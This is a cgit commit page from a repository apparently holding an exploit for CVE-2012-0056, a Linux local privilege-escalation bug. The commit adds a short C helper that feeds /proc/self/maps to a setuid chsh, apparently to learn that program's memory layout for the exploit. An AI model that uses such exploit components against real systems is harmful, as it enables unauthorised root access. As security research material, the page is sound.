aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-25 04:10:00 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-25 04:10:00 +0100
commit105eded1abc03c5610cf912d4939809b2f06627e (patch)
tree981e590333654450321df2a711b96c59d1052951
parentI am a pedant. (diff)
downloadCVE-2012-0056-105eded1abc03c5610cf912d4939809b2f06627e.tar.xz
CVE-2012-0056-105eded1abc03c5610cf912d4939809b2f06627e.zip
Add maps dumper.
-rw-r--r--maps.c11
1 files changed, 11 insertions, 0 deletions
diff --git a/maps.c b/maps.c
new file mode 100644
index 0000000..69d985f
--- /dev/null
+++ b/maps.c
@@ -0,0 +1,11 @@
+#include <unistd.h>
+#include <fcntl.h>
+
+int main(int argc, char **argv)
+{
+
+ int fd = open("/proc/self/maps", O_RDONLY);
+ dup2(fd, 0);
+ execl("/usr/bin/chsh", "chsh", NULL);
+ return 0;
+}